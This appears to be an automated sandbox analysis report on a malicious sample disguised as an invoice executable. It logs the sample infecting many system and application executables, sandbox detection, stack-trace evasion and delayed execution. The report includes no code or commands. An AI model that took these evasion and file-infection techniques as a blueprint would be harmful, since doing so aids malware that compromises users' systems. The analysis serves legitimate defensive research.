Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\klist.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\pack200.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\rmiregistry.exe	Jump to behavior

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\MSOCache\All Users\{90140000-003D-0000-1000-0000000FF1CE}-C\setup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\CCleaner\CCleaner64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\ssvagent.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\ehome\ehsched.exe	Jump to dropped file
Source: C:\Users\user\Desktop\invoice_96.73.exe	File created: C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\jabswitch.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\vds.exe	Jump to dropped file
Source: C:\Users\user\Desktop\invoice_96.73.exe	File created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Jump to dropped file
Source: C:\Users\user\Desktop\invoice_96.73.exe	File created: C:\Windows\System32\alg.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\rmid.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\ieetwcollector.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\snmptrap.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\Locator.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\java-rmi.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\SysWOW64\perfhost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\msiexec.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\dwtrig20.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\javacpl.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\kinit.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\javaw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\VSSVC.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\wbengine.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\ktab.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\tnameserv.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\SearchIndexer.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Chrome\Application\109.0.5414.120\elevation_service.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\policytool.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\ehome\ehrecvr.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\keytool.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\java.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\javaws.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\orbd.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\dllhost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\jjs.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\invoice_96.73.exe	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\servertool.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\unpack200.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\DW20.EXE	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\MSOCache\All Users\{90140000-003D-0000-1000-0000000FF1CE}-C\ose.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\sppsvc.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\CCleaner\CCleaner.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\msdtc.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\klist.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\pack200.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Java\jre1.8.0_121\bin\rmiregistry.exe	Jump to dropped file

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\snmptrap.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\Locator.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\VSSVC.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\wbengine.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\SearchIndexer.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\ehome\ehsched.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\invoice_96.73.exe	File created: C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\vds.exe	Jump to dropped file
Source: C:\Users\user\Desktop\invoice_96.73.exe	File created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Jump to dropped file
Source: C:\Users\user\Desktop\invoice_96.73.exe	File created: C:\Windows\System32\alg.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\SysWOW64\perfhost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\msiexec.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\ehome\ehrecvr.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\sppsvc.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\msdtc.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\dllhost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\ieetwcollector.exe	Jump to dropped file

Source: C:\Windows\System32\msdtc.exe

File created: C:\Windows\DtcInstall.log

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\ASP.NET_4.0.30319\Names

Creates files inside the volume driver (system volume information)

Hooking and other Techniques for Hiding and Protection

Source: C:\Windows\System32\wbengine.exe

File created: C:\System Volume Information\WindowsImageBackup

Source: C:\Users\user\Desktop\invoice_96.73.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\invoice_96.73.exe

API/Special instruction interceptor: Address: D4110C

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: armsvc.exe, 00000002.00000003.420558852.00000000020C0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: FHTTPHTTPSFILEUNKNOWN%LS\%LSSOFTWARE\MICROSOFT\WINDOWS SEARCH\TRACING\EVENTTHROTTLELASTREPORTEDSOFTWARE\MICROSOFT\WINDOWS SEARCH\TRACINGEVENTTHROTTLEMAXEVENTSEVENTTHROTTLEMAXCONTROLPERIODMSEVENTTHROTTLEBLOCKPERIODMSEVENTTHROTTLEFLUSHPERIODMSMSFTE.DLLMSTRACER.DLL

Source: C:\Windows\System32\msdtc.exe	Window / User API: threadDelayed 401	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe	Window / User API: threadDelayed 3816
Source: C:\Windows\SysWOW64\perfhost.exe	Window / User API: threadDelayed 6182

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\MSOCache\All Users\{90140000-003D-0000-1000-0000000FF1CE}-C\setup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\ssvagent.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\CCleaner\CCleaner64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	Jump to dropped file
Source: C:\Users\user\Desktop\invoice_96.73.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\jabswitch.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\rmid.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\java-rmi.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\dwtrig20.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\javacpl.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\kinit.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\javaw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\System32\VSSVC.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\tnameserv.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\ktab.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\System32\SearchIndexer.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Chrome\Application\109.0.5414.120\elevation_service.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\policytool.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\keytool.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\javaws.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\orbd.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
